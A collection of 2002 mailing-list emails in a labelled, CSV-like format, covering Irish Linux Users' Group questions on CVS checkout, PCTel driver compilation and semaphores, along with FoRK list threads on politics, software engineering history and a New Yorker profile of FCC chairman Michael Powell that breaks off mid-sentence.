I'm aware its a similar protocol to FTP. I need to use it > > to download a > > > program from :pserver:anoncvs@subversions.gnu.org:/cvsroot/w3. > > I am looking > > > for information on how to use it. I'll have another look at > > the man pages > > > but I think I have to set it up before I can download anything. > > cvs is really a very different kind of thing to FTP, but the details of > > that statement are left as an exercise to the reader (won't show up my > > own ignorance that way ;-) > > The application you want is cvsclient... > > There is documentation here: > > http://www.fokus.gmd.de/gnu/docs/cvs/cvsclient_toc.html > > > > You might get a quick idea of how it works from here: > > http://www.sci.muni.cz/~mikulik/gnuplot.html > > where he explains how to get cvs gnuplot... > > The commands are: > > > > export > > CVSROOT=:pserver:anonymous@cvs.gnuplot.sourceforge.net:/cvsroot/gnuplot > > cvs login > > cvs -z3 checkout gnuplot > > > > Something similar will probably do the job for you. I'm guessing the > > following MIGHT work... > > > > export CVSROOT=:pserver:anoncvs@subversions.gnu.org:/cvsroot/w3 > > cvs login > > cvs -z3 checkout w3 > > > > m > > -- > > Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com > > Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C > > > > -- > > Irish Linux Users' Group: ilug@linux.ie > > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription > > information. > > List maintainer: listmaster@linux.ie > > > > > > > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,irish linux users group ,"Thu, 5 Sep 2002 17:38:11 -0700",Re: [ILUG] windows users accessing cvs...,"Quoting kevin lyda (kevin+dated+1031593647.e87527@ie.suberic.net): > anyone here have experience with windows cvs clients accessing a cvs > server *securely*. preferably using ssh of some form (putty or cygwin's > openssh port) and the wincvs client? Here's something I cobbled together: http://sourceforge.net/docman/display_doc.php?docid=9026&group_id=13487 -- Cheers, ""I don't like country music, but I don't mean to denigrate Rick Moen those who do. And, for the people who like country music, rick@linuxmafia.com denigrate means 'put down'."" -- Bob Newhart -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 eric nichols ,ilug@linux.ie,"Thu, 5 Sep 2002 15:17:36 -0700 (PDT)",[ILUG] PCTel modules,"Hello again. I tried all the suggestions for the PCTel driver and at the end of it, everything still goes smoothly until I type ""make"" after I get the output from the ./configure. However, there were a couple of things I noticed along the way. After typing * cp configs/kernel-2.4...config .config * make oldconfig * make dep The 2nd to last line I got back said that the modversions.h file was not updated. When I looked at this path to the modversions.h file, it was 281 lines and every line started with a # mark. Is it the case that nothing is read on a line after a # mark (or am I just thinking of another language?) and so should I delete the # at certain places? Also, when I was in the pctel directory and typed ""make"", I noticed that a different subdirectory is taken to a different modversions.h file. Inside this other file, there's nothing at all. And so I moved the modversions.h file with 281 lines to the empty modversions.h file - and got a different reply after ""make"". The output after I moved the file over mostly looked like this: /usr/src/linux-2.4.18-3/linux/modversions.h:11:33: linux/modules/adb.ver: No such file or directory /usr/src/linux-2.4.18-3/linux/modversions.h:12:37: linux/modules/af_ax25.ver: No such file or directory /usr/src/linux-2.4.18-3/linux/modversions.h:13:36: linux/modules/af_ipx.ver: No such file or directory The odd lines being the path and the first half of the other lines are what's written after the # in the modversions.h file. Should there be a file at each of these (one at each of the 281 lines of the file) that I'd have to compile/make? It's taken plenty of elbow grease, but I'm glad it hasn't gone smoothly, it's a good learning experience. Again, any help is appreciated. Thanks, Eric _____________________________________________________________ email services provided by trackbike.com, your source for alleycat and trackbike photos. submissions welcome. _____________________________________________________________ Promote your group and strengthen ties to your members with email@yourgroup.org by Everyone.net http://www.everyone.net/?btn=tag -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Michael Conry ,eric nichols ,"Fri, 6 Sep 2002 00:50:13 +0100",Re: [ILUG] PCTel modules,"On 0020 -0700 %{!Thu, Sep 05, 2002 at 3:17:36PM -0700}, eric nichols wrote: > Hello again. I tried all the suggestions for the PCTel driver and at > the end of it, everything still goes smoothly until I type ""make"" > after I get the output from the ./configure. > > However, there were a couple of things I noticed along the way. After typing > * cp configs/kernel-2.4...config .config > * make oldconfig > * make dep > The 2nd to last line I got back said that the modversions.h file was > not updated. When I looked at this path to the modversions.h file, it > was 281 lines and every line started with a # mark. > Is it the case > that nothing is read on a line after a # mark (or am I just thinking > of another language?) and so should I delete the # at certain places? No that is appropriate content for the file. I'm not a C programmer, but I think that these sort of things (#include ) are instructions to the compiler processed by a pre-processor in the compile process, and include all sorts of symbols/functions e.g. ""#include "" gives you maths type functions. Since they start with ""#"" they are ignored in the final compilation. Regarding the rest of the compile process, you need to tell the PCtel software to look in the right place for the kernel headers/source. I recall from your previous mail that there was a flag --with-kernel-includes=/usr/src/linux-2.4 which could be passed to the ./configure script (with the appropriate directory in place of /usr/src/linux-2.4). This might allow you to persuade the code to compile against the correct headers. I think this is the right way to proceed. Alternatively, maybe the steps above regarding ""make dep"" and so forth should have been performed in the directory where the make process is looking for modversions.h & Co. I don't think it is a good idea keep moving files into the directory as you describe below. First of all you will move modversions.h (which you have done), then you would have to move all those *.ver files, after that, there will almost certainly be a need for further header (*.h) files. This could be quickly done, but is probably bad (those files don't really belong there). For what it's worth I think you are very close to a successful compilation. m > > Also, when I was in the pctel directory and typed ""make"", I noticed > that a different subdirectory is taken to a different modversions.h > file. Inside this other file, there's nothing at all. And so I moved > the modversions.h file with 281 lines to the empty modversions.h file > - and got a different reply after ""make"". The output after I moved the > file over mostly looked like this: > /usr/src/linux-2.4.18-3/linux/modversions.h:11:33: > linux/modules/adb.ver: No such file or directory > /usr/src/linux-2.4.18-3/linux/modversions.h:12:37: > linux/modules/af_ax25.ver: No such file or directory > /usr/src/linux-2.4.18-3/linux/modversions.h:13:36: > linux/modules/af_ipx.ver: No such file or directory > > The odd lines being the path and the first half of the other lines are > what's written after the # in the modversions.h file. Should there be > a file at each of these (one at each of the 281 lines of the file) > that I'd have to compile/make? -- Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Colin=20Nevin?= ,ilug@linux.ie,"Fri, 6 Sep 2002 11:24:17 +0100 (BST)",[ILUG] semaphores on linux RH7.3,"Hi All, I have a question which is a bit tricky and was wondering of anyone has come across this problem before or could point me in the right direction. I am involved in porting a SCO unix application to Linux, and we have encountered a problem with the way semaphores are being handled. The application uses mulitple processes to run application code with the main process known as the bsh which controls all i/o be it screen, or file i/o, syncronisation is handled via semaphores. In certain circumstances the main process and the application child process seem to lock up both waiting for the syncronisation semaphores to change state, I have attached ddd to the processes and it seems that the semaphore code is doing the correct things for syncronisation but the processes stay stuck in the semop() system call. I have also noticed that if I introduce a slight delay between changing semaphore states the problem goes away, but this causes our entire application to run really sloooww !! lol Is there anything weird or different with the standard implemenation of semaphores on modern linux that could cause a semop() to fail to pick up the change in state in a semaphore immediately? Setting sem_flg = IPC_NOWAIT and checking for errno == EAGAIN and recalling semop() if the semop() call fails (-1) also fixes the problem but again system performance goes down the toilet. both the parent controlling process run as the same uid, and the parent creates the semaphores with permissions 0666. Any pointers would be appreciated! Rgds, Colin Nevin __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Andrey Kolishak ,SECPROG Securityfocus ,"Thu, 5 Sep 2002 10:17:03 +0200",Re: use of base image / delta image for automated recovery from attacks,"take a look at http://www.pcworld.com/news/article/0,aid,102881,00.asp Andrey mailto:andr@sandy.ru BM> Does anyone do this already? Or is this a new concept? Or has this concept BM> been discussed before and abandoned for some reasons that I don't yet know? BM> I use the physical architecture of a basic web application as an example in BM> this post, but this concept could of course be applied to most server BM> systems. It would allow for the hardware-separation of volatile and BM> non-volatile disk images. It would be analogous to performing nightly BM> ghosting operations, only it would be more efficient and involve less (or BM> no) downtime. BM> Thanks for any opinions, BM> Ben",0,1 Ned Jackson Lovely ,fork@spamassassin.taint.org,"Tue, 8 Oct 2002 15:25:13 -0400",Re: The absurdities of life.,"On Tue, Oct 08, 2002 at 11:51:54AM -0700, Elias wrote: > So, given the apparent commonality of these occurances, companies appear > to be losing a large amount of money by mailing these tiny checks out. > Why can't they simply credit the account in question on the next bill? > Granted, if an account has been closed there is no such option... I've been waiting for Hettinga to regale us with one of his well-tuned micro-cash-bearer-settlement-geodesic-finance rants. Bob, you are SO disappointing me. -- njl",0,0 """R. A. Hettinga"" ","Ned Jackson Lovely , fork@spamassassin.taint.org","Tue, 8 Oct 2002 15:26:28 -0400",Re: The absurdities of life.,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 3:25 PM -0400 on 10/8/02, Ned Jackson Lovely wrote: > I've been waiting for Hettinga to regale us with one of his > well-tuned micro-cash-bearer-settlement-geodesic-finance rants. > Bob, you are SO disappointing me. How about if I include it by reference... :-). Blue in the face, RAH -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPaMxL8PxH8jf3ohaEQJOvwCgwLjDfcRLc/15ohgtx/Y7Vvrl/5IAn0iA eEFqCWCvykjwv+8jPA/PpDsf =vNcJ -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Eirikur Hallgrimsson ,fork@spamassassin.taint.org,"Tue, 8 Oct 2002 16:47:31 -0400",process music: Mekons,"http://reuters.com/news_article.jhtml?type=entertainmentnews&StoryID=1543345 Working this loose knit fashion is what keeps the Mekons so exciting, Langford said. ""When the Mekons was our whole day job, it became a drudgery,"" he said. "" Sometimes we get bogged down and trapped. But we're usually pretty greasy enough to bite our leg off, squirm free and run off.""",0,1 """Jim Whitehead"" ","""FoRK"" ","Tue, 8 Oct 2002 13:53:58 -0700",Origins of Software Engineering,"The academic discipline of Software Engineering was launched at a conference sponsored by NATO, at Garmisch, Germany, in October, 1968. Intriguingly, the term Software Engineering was chosen to be deliberately provocative -- why can't software be developed with the same rigor used by other engineering disciplines? The proceedings of this conference are now available online, at: http://www.cs.ncl.ac.uk/old/people/brian.randell/home.formal/NATO/index.html Also, don't miss the pictures of attendees, including many significant contributors to the field of Software Engineering: http://www.cs.ncl.ac.uk/old/people/brian.randell/home.formal/NATO/N1968/inde x.html - Jim",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Tue, 8 Oct 2002 18:18:20 -0400",The Disappearing Alliance,"http://www.techcentralstation.com/1051/printer.jsp?CID=1051-100802B The Disappearing Alliance By Dale Franks 10/08/2002 For over two generations, the countries of Western Europe have been our closest allies. We stood beside each other through the darkest days of the Cold War as partners in the North Atlantic Treaty Organization. We celebrated with them over the fall of the Soviet Empire and the liberation of Eastern Europe from the yoke of communism. Tragically, a generation from now, we may be bitter adversaries. Europe has increasingly fallen under the spell of a political ideology that Hudson Institute scholar John Fonte has termed ""progressive transnationalism"". The key doctrines of this form of post-communist progressivism contain some fairly pernicious ideas. Among these are the deconstruction of nationalism, the promotion of post-nationalist ideas of citizenship (i.e. a ""global"" citizenry), a redefinition of democracy, and the pooling of national sovereignty into multinational groups such as the United Nations. The European Union, itself a multinational organization built through the pooling of sovereignty by European nations, is post-democratic. While there is a European Parliament, the EU's power resides mainly in the unelected European Commission (EC) and its unelected President, who face few limits to their power. Instead of a limited, consensual form of government, where elected representatives promulgate constitutional laws, the EU has an appointed, oligarchic executive, along with a large attendant bureaucracy, whose orders are not constitutionally limited in any real sense. Moreover, the EU has been unwilling to accept the democratically expressed wishes of the people themselves when those wishes conflict with the results desired by the EU's political elite. Both the EC and the European Court of Justice regularly overturn the national laws of democratically elected EU member governments. This is a step backward in Europe's political development. European criticism of America is on the rise, and the European list of complaints about America is a long and growing one. They dislike the fact that our republican system of government is not based on proportional representation. They hate the fact that our citizens own guns. They despise the fact that we execute murderers. They resent the fact that our economy is so large, and that Americans consume so much. They also resent?and fear - the fact that we have the ability to project American power anywhere in the world. On August 9, 2002, Adrian Hamilton wrote a column in the UK's Independent newspaper, in which he identified the US as a rogue state who should be restrained, perhaps by a European military invasion, followed by a decade or so of occupation. Fortunately, the article is satirical not because it exaggerates the way European progressives view the US, but rather because the impotence of European military power makes the idea of an invasion of the US literally fantastic. At least, for now. Despite the tongue-in-cheek nature of this editorial, however, the fact remains that America is increasingly viewed this way by the European intellectual and political elite. The Europeans actively desire a world where the United Nations keeps in check the activities of sovereign states. Because they have built such a system in Europe, they feel it's valid for the rest of the world. America, however, is the biggest obstacle to such a system. The Europeans cannot understand why America places a higher value on the ethos of national sovereignty and limited, consensual, and constitutional government, than it does on compliance with international ""norms."" They view all departures from such norms as aberrant. Because the UN member states all have an equal vote in prescribing international norms, they assume that, since the process is ostensibly legitimate, the results must be as well. The trouble with this idea, of course, is that it gives the views of non-democratic, authoritarian states the same weight as those of free, democratic societies. It sanctifies the process, with no regard to the actual results. Thus, they are unable to make any moral distinction between the US refusals to join in a given international effort because we wish to preserve the liberty of our citizens, and similar refusals from Iraq because its dictator wishes to maintain his firm grip on power. Our repeated references to the US Constitution, and our unwillingness to bypass its provisions to comply with international norms, are incomprehensible to them. They assume, therefore, that our refusal is based on arrogance, rather than on a commitment to constitutional rights. None of this bodes well for the future of Euro-American friendship, or cooperation. If the Europeans continue to reject traditional liberalism in favor of the new progressivism, their criticism of the US will rise, while their tolerance of our differences will fall. Obviously, in such a political atmosphere, the opportunities for conflict will inevitably increase. That thought is frightening enough. Even more frightening, however, is the thought that such a conflict might be averted by our own acceptance of the new ideology of transnational progressivism. -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Tom ,"""R. A. Hettinga"" ","Tue, 8 Oct 2002 19:17:04 -0400 (EDT)",Re: The Disappearing Alliance,"OK, lets break this down into the Kevin Smith worldview taht equate everything with Star Wars... EU is the Republic/empire and we are..what,..the Trade Federation? Stretch this out and it could be seen that the UN is the Jedi, complete with faling powers. Work with me folks...",0,0 Elias ,fork@spamassassin.taint.org,"Tue, 08 Oct 2002 11:51:54 -0700",Re: The absurdities of life.,"So, given the apparent commonality of these occurances, companies appear to be losing a large amount of money by mailing these tiny checks out. Why can't they simply credit the account in question on the next bill? Granted, if an account has been closed there is no such option... Elias Christopher Haun wrote: > eheh i'll do yah one better i have a check some place (i just moved or i'd > go scan it in) for $0.01 from Time Warner Cable.",0,0 """John Hall"" ",,"Tue, 8 Oct 2002 17:02:08 -0700",RE: The Disappearing Alliance,"> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of R. A. > Hettinga > Subject: The Disappearing Alliance > > http://www.techcentralstation.com/1051/printer.jsp?CID=1051-100802B > > > > The Disappearing Alliance > By Dale Franks 10/08/2002 > Obviously, in such a > political atmosphere, the opportunities for conflict will inevitably > increase. Given current trends, particularly in demographics, such conflict won't be military. Europe wouldn't stand a chance now and things are getting worse in a hurry. They are SOL. Not to mention that when push comes to shove they wouldn't stand united. > > That thought is frightening enough. Even more frightening, however, is the > thought that such a conflict might be averted by our own acceptance of the > new ideology of transnational progressivism. Now that is a scary thought. ]",0,1 Rohit Khare ,Fork@xent.com,"Tue, 8 Oct 2002 19:29:41 -0700",Lord of the Ringtones: Arbocks vs. Seelecks,"I can't believe I actually read a laugh-out-loud funny profile of the *FCC Commissioner* fer crissakes! So the following article comes recommended, a fine explanation of Michael Powell's extraordinary equivocation. On the other hand, I can also agree with Werbach's Werblog entry... Rohit > A Trip to F.C.C. World > > Nicholas Lemann has a piece in the New Yorker this week about FCC > Chairman Michael Powell. It's one of the first articles I've seen that > captures some of Powell's real personality, and the way he's viewed in > Washington. Unfortunately, Lemann ends by endorsing conventional > political wisdom. After describing how Powell isn't really a > fire-breathing ideological conservative, he concludes that, in essence, > Powell favors the inumbent local Bell telephone companies, while a > Democratic FCC would favor new entrants. I know that's not how Powell > sees the world, and though I disagree with him on many issues, I think > he's right to resist the old dichotomy. > > The telecom collapse should be a humbling experience for anyone who > went through it. The disaster wasn't the regulators' fault, as some > conservatives argue. But something clearly went horribly wrong, and > policy-makers should learn from that experience. Contrary to Lemann's > speculation, the upstart carriers won't be successful in a Gore > administration, because it's too late. Virtually all of them are dead, > and Wall Street has turned off the capital tap for the foreseeable > future. Some may survive, but as small players rather than > world-dominators. > > The battle between CLECs and RBOCs that Lemann so astutely parodies is > old news. The next important battle in telecom will be between those > who want to stay within the traditional boxes, and those who use > different models entirely. That's why open broadband networks and open > spectrum are so important. Whatever the regulatory environment, there > is going to be consolidation in telecom. Those left out in that > consolidation will face increasing pressure to create new pipes into > the home, or slowly die. The victors in the consolidation game will cut > back on innovation and raise prices, which will create further pressure > for alternatives. > > Lemann is right that policy-making looks much drier and more ambiguous > on the ground than through the lens of history. But he's wrong in > thinking that telecom's future will be something like its past. > > Friday, October 04, 2002 > 11:17:11 AM comments{0} ============================================================== http://www.newyorker.com/printable/?fact/021007fa_fact THE CHAIRMAN by NICHOLAS LEMANN He's the other Powell, and no one is sure what he's up to. New Yorker, October 8, 2002 Last year, my middle son, in eighth grade and encountering his first fairly serious American-history course, indignantly reported that the whole subject was incomprehensible. I was shocked. What about Gettysburg and the Declaration of Independence and the Selma-to-Montgomery march? Just look at my textbook, he said, and when I did I saw his point. His class had got up to the eighteen-forties. What I expected was a big beefing up of the roles of Sacagawea and Crispus Attucks, and, in-deed, there was some of that. But the main difference between my son's text and that of my own childhood was that somebody had made the disastrous decision to devote most of it to what had actually happened in American history. There were pages and pages on tariffs and bank charters and reciprocal trade agreements. I skipped ahead, past the Civil War, hoping for easier going, only to encounter currency floats and the regulation of freight rates. Only a few decades into the twentieth century did it become possible to see the federal government's main function as responding to dramatic crises and launching crusades for social justice, instead of attempting to referee competing claims from economic interests. Even now, if one were to reveal what really goes on behind the pretty speeches and the sanctimonious hearings in Washington, what you'd find is thousands of lawyers and lobbyists madly vying for advantage, not so much over the public as over each other: agribusiness versus real estate, banks versus insurance companies, and so on. The arena in which this competition mainly takes place is regulatory agencies and commissions and the congressional committees that supervise them. It's an insider's game, less because the players are secretive than because the public and the pressencouraged by the players, who speak in jargon can't get themselves interested. One corner of Washington might be called F.C.C. World, for the Federal Communications Commission. F.C.C. World has perhaps five thousand denizens. They work at the commission itself, at the House and Senate commerce committees, and at the Washington offices of the companies that the commission regulates. They read Communications Daily (subscription price: $3,695 a year), and every year around Christmastime they grumblingly attend the Chairman's Dinner, at a Washington hotel, where the high point of the evening is a scripted, supposedly self-deprecating comedy routine by the commission's chairman. Of all the federal agencies and commissions, the F.C.C. is the one that Americans ought to be most interested in; after all, it is involved with a business sector that accounts for about fifteen per cent of the American economy, as well as important aspects of daily lifetelephone and television and radio and newspapers and the Internet. And right now F.C.C. World is in, if not a crisis, at least a very soapy lather, because a good portion of what the angry public thinks of as the ""corporate scandals"" concerns the economic collapse of companies regulated by the F.C.C. Qwest, WorldCom, Adelphia, and Global Crossing, among others, are (or were) part of F.C.C. World. AOL Time Warner is part of F.C.C. World. Jack Grubman, the former Salomon Smith Barney analyst who seems to have succeeded Kenneth Lay, of Enron, as the embodiment of the corporate scandals, is part of F.C.C. World. In the past two years, companies belonging to F.C.C. World have lost trillions of dollars in stock-market valuation, and have collectively served as a dead weight pulling down the entire stock market. This year, an alarmed and acerbic anonymous memorandum about the state of the F.C.C. has been circulating widely within F.C.C. World. It evokes F.C.C. World's feverish mood (""The F.C.C. is fiddling while Rome burns"") and suggests why nobody besides residents of F.C.C. World has thought of the commission in connection with the corporate scandals. The sentence I just quoted is followed by this explanation: ""The ILECs appear likely to enter all l.d. markets within twelve months, while losing virtually no residential customers to attackers since 1996, and suffering about 10% market share loss in business lines to CLECs."" It's a lot easier to think about evil C.E.O.s than to decipher that. Even in good times, F.C.C. World pays obsessive attention to the commission's chairman. In bad times, the attention becomes especially intense; and when the chairman is a celebrity F.C.C. World devotes itself to full-time chairman-watching. The current chairman, Michael Powell, is a celebrity, at least by government-official standards, because he is the only son of Colin Powell, the Secretary of State. Unlike his father, he has a kind of mesmerizing ambiguity, which generates enormous, and at times apoplectically toned, speculation about who he really is and what he's really up to. Powell is young to be the head of a federal agencyhe is thirty-nineand genially charming. Everybody likes him. Before becoming chairman, he was for three years one of the F.C.C.'s five commissioners; not only is he fluent in the F.C.C.'s incomprehensible patois, he has a Clintonesque love of the arcane details of communications policy. He's always saying that he's an ""avid moderate."" And yet he has a rage-inciting quality. One of his predecessors as chairman, Reed Hundt, quoted in Forbes, compared Powell to Herbert Hoover. Mark Cooper, of the Consumer Federation of America, calls him ""radical and extreme."" Just as often as he's accused of being a right-wing ideologue, Powell gets accused of being paralytically cautious. ""It ain't about singing 'Kum-Ba-Yah' around the campfire,"" another former chairman, William Kennard, says. ""You have to have an answer."" One day last spring, Powell, testifying before a Senate subcommittee, delivered an anodyne opening statement, and the subcommittee's chairman, Ernest Hollings, of South Carolina, berated him. ""You don't care about these regulations,"" Hollings said. ""You don't care about the law or what Congress sets down. . . . That's the fundamental. That's the misgiving I have of your administration over there. It just is amazing to me. You just pell-mell down the road and seem to not care at all. I think you'd be a wonderful executive vice-president of a chamber of commerce, but not a chairman of a regulatory commission at the government level. Are you happy in your job?"" ""Extremely,"" Powell said, with an amiable smile. One cannot understand Powell's maddening effect, at least on Democrats and liberal activists, without understanding not just the stated purpose of the commission he chairs but also its real purpose. The F.C.C. was created by Congress in 1934, but it existed in prototype well before the New Deal, because it performs a function that is one of the classic easy cases for government intervention in the private economy: making sure that broadcasters stick to their assigned spots on the airwaves. Its other original function was preventing American Telephone & Telegraph, the national monopoly phone company, from treating its customers unfairly. Over the decades, as F.C.C. World grew up into a comfortable, well-established place, the F.C.C. segued into the role of industrial supervisionits real purpose. It was supposed to manage the competition among communications companies so that it didn't become too bloody, by artfully deciding who would be allowed to enter what line of business. In addition to looking out for the public's interest, the commission more specifically protected the interests of members of Congress, many of whom regard the media companies in their districts as the single most terrifying category of interest groupyou can cross the local bank president and live to tell the tale, but not the local broadcaster. According to an oft-told F.C.C. World anecdote, President Clinton once blocked an attempt to allow television stations to buy daily newspapers in the same city because, he said, if the so-and-so who owned the anti-Clinton Little Rock Democrat-Gazette had owned the leading TV station in Little Rock, too, Clinton would never have become President. F.C.C. World may have been con tentious, but it was settled, too, because all the reasonably powerful players had created secure economic niches for themselves. Then, in the nineteen-eighties, the successful breakup of A.T. & T.by far the biggest and most important company the commission regulateddeposited a thick additional sediment of self-confidence onto the consciousness of F.C.C. World. A generation ago, for most Americans, there was one local phone company, one long-distance company, and one company that manufactured telephones, which customers were not permitted to ownand they were all the same company. It was illegal to plug any device into a phone line. By the mid-nineteen-nineties, there were a dozen economically viable local phone companies, a handful of national long-distance companies competing to offer customers the lowest price and best service, and stores everywhere selling telephone equipment from many manufacturersand millions of Americans had a fax machine and a modem operating over the telephone lines. A.T. & T. had argued for years that it was a ""natural monopoly,"" requiring protection from economic competition and total control over its lines. So much for that argument. Over the same period, the F.C.C. had assisted in the birth of cable television and cell phones and the Internet. It was the dream of federal-agency success come true: consumers vastly better served, and the industry much bigger and more prosperous, too. The next big step was supposed to be the Telecommunications Act of 1996, one of those massive, endlessly lobbied-over pieces of legislation which most people outside F.C.C. World probably felt it was safe to ignore. Although the Telecom Act sailed under the rhetorical banner of modernization and deregulation, its essence was a grand interest-group bargain, in which the local phone companies, known to headline writers as ""baby Bells"" and to F.C.C. World as ""arbocks"" (the pronounced version of RBOCs, or regional Bell operating companies), would be permitted to offer long-distance service in exchange for letting the long-distance companies and smaller new phone companies use their lines to compete for customers. Consumers would win, because for the first time they would get the benefits of competition in local service while getting even more competition than they already had in long distance. But the politics and economics of the Telecom Act (which was shepherded through Congress by Vice-President Gore) were just as important. Democrats saw the act as helping to reposition them as the technology partythe party that brought the Internet into every home, created hundreds of thousands of jobs in new companies, and, not least, set off an investment boom whose beneficiaries might become the party's new contributor base. Clinton's slogans about the ""information superhighway"" and ""building a bridge to the twenty-first century,"" which, like all Clinton slogans, artfully sent different messages to different constituencies, were the rhetorical correlates of the Telecom Act, and Gore's cruise to the Presidency was supposed to be powered substantially by the act's success. The F.C.C. had a crucial role in all this. The arbocks are rich, aggressive, politically powerful, and generally Republican (though like all important interest groups they work with both parties); they immediately filed lawsuits, which wound up tying the hands of their new competitors in the local phone market for more than three years. Through rule-making, enforcement, and litigation, the F.C.C., then headed by Reed Hundt, who was Gore's classmate at St. Albans, was supposed to keep the arbocks in their cages, so that not only long-distance companies like A.T. & T. and MCI WorldCom but also a whole category of new companies, ""see-lecks"" (the pronounced version of CLECs, or competitive local exchange carriers), could emerge. This entailed the regulatory equivalent of hand-to-hand combat: the see-leck is supposed to have access to the arbock's switching equipment, the arbock won't give the seeleck a key to the room where it's kept, so the see-leck asks the F.C.C. to rule that the arbock has to give it the key. Partly because Hundt assured the see-lecks and other new companies that he would protect them, and partly because of the generally booming condition of the economy then, investment capital flooded into the see-leckscompanies with names like Winstar, Covad, and Teligentand into other telecommunications companies. Even not obviously related technology companies like Cisco Systems benefitted from the telecom boom: demand for their products was supposed to come from the see-lecks and other new players. There would be no conflict between the interests of the new telecom companies and those of consumers; as one of Hundt's former lieutenants told me, ""Reed used to joke that my job was to make sure that all prices went down and all stocks went up."" The years following the passage of the Telecom Act were the peak of the boom. Wall Street had its blood up, and that meant not just more startups but also more mergers of existing communications companies: Time Warner and AOL decided to throw in together, and A.T. & T. and Comcast, and so on. (Surely, WorldCom and the other telecom bad guys believed that their self-dealing, stock-overselling, and creative accounting would go unnoticed because the market was so undiscriminating.) By the time the outcome of the 2000 Presidential election had been determined, the telecom crash was well under way. Nonetheless, the chairmanship of the F.C.C. remained one of the best jobs, in terms of influence and visibility, available to a career government regulator. Three Republicans emerged as candidates: Powell, who was a commissioner; Harold Furchtgott-Roth, the farthest-to-the-right commissioner; and Patrick Wood, the head of the Texas Public Utility Commission and, as such, a George W. Bush guy. In Texas, however, Wood had crossed the most powerful person in the arbock camp, Edward Whitacre, the C.E.O. of S.B.C. Communications, which is headquartered in San Antonio. This meant that the arbocks didn't want Wood as head of the F.C.C., because he might be too pro-see-leck. (Wood is now the head of the Federal Energy Regulatory Commission.) Michael Powell had to signal the arbocks that he wasn't as threatening as Wood, while also signalling the conservative movement that he was only negligibly farther to the left than Furchtgott-Roth. Powell did this deftly. For example, in December of 2000 he appeared before a conservative group called the Progress & Freedom Foundation and gave a very Michael Powell speechwhimsical, intellectual, and free-associative (Biblical history, Joseph Schumpeter, Moore's Law)that began by making fun of the idea that the F.C.C. should try to keep new telecom companies alive. ""In the wake of the 1996 Act, the F.C.C. is often cast as the Grinch who stole Christmas,"" Powell said. ""Like the Whos, down in Who-ville, who feast on Who-pudding and rare Who-roast beast, the communications industry was preparing to feast on the deregulatory fruits it believed would inevitably sprout from the Act's fertile soil. But this feast the F.C.C. Grinch did not like in the least, so it is thought."" Thus Powell was indicating that if he became chairman he didn't expect to administer first aid to the see-lecks as part of the job. He was appointed to the chairmanship on the first day of the Bush Administration. Twenty months into the Administration, nearly all the see-lecks are dead or dying; nearly all long-distance companies, not just WorldCom, are in serious trouble; cable companies have lost half their value; satellite companies are staggering. The crash has had an automatically concentrating effect, because as new companies die the existing companies' market share increases, and, if the existing companies are in good shape financially, they have the opportunity to pick up damaged companies at bargain prices. During the Bush Administration, as the financial carnage in communications has worsened, the communications industry has moved in the direction of more concentration. If the Bells wind up protecting their regional monopolies in local phone service, and if they also merge, the country will be on its way to having a national duopoly in local service: Verizon, in the East, and S.B.C., in the West. And these companies could dominate long distance as well, because of the poor health of the long-distance companies. The cable business also seems close to having two dominant national companies, AOL Time Warner and Comcast. Unlike the phone companies, they don't have to share their wiring with other companies and so can more fully control what material they allow to enter people's homes. As part of the complicated bargaining with interest groups that led to the 1996 Telecom Act, the limits on concentration in the radio industry were significantly loosened, and in the past six years the number of radio-station owners in the United States has been cut by twenty-five per cent; today, a large portion of local and national radio news programming is supplied by a single company, Westwood One, a subsidiary of Viacom. In this situation, many Democrats and liberals think, the F.C.C. should be hyperactivethe superhero of government regulation, springing to the rescue of both consumers and the communications industry. It should try to breathe life into the see-lecks and other new companies. It should disallow mergers, maintain ownership limits, and otherwise restrain the forces of concentration. It should use the government's money and muscle to get new technologyespecially fast Internet connectionsinto the homes of people who can't afford it at current market prices. (An analogy that a lot of people in F.C.C. World make is between telecom and the Middle East: the Clinton people blame the bloodshed on the Bush people, because they disengaged when they came into office, and the Bush people blame it on the Clinton people, because they raised too many expectations and stirred too many passions.) But Michael Powell's F.C.C. has not been hyperactive. Powell has been conducting internal policy reviews and reforming the management of the F.C.C. and waiting for the federal courts and the Congress to send him signals. (In mid-September, Powell finally initiated a formal review of the F.C.C.'s limits on media concentration.) This doesn't mean he has been 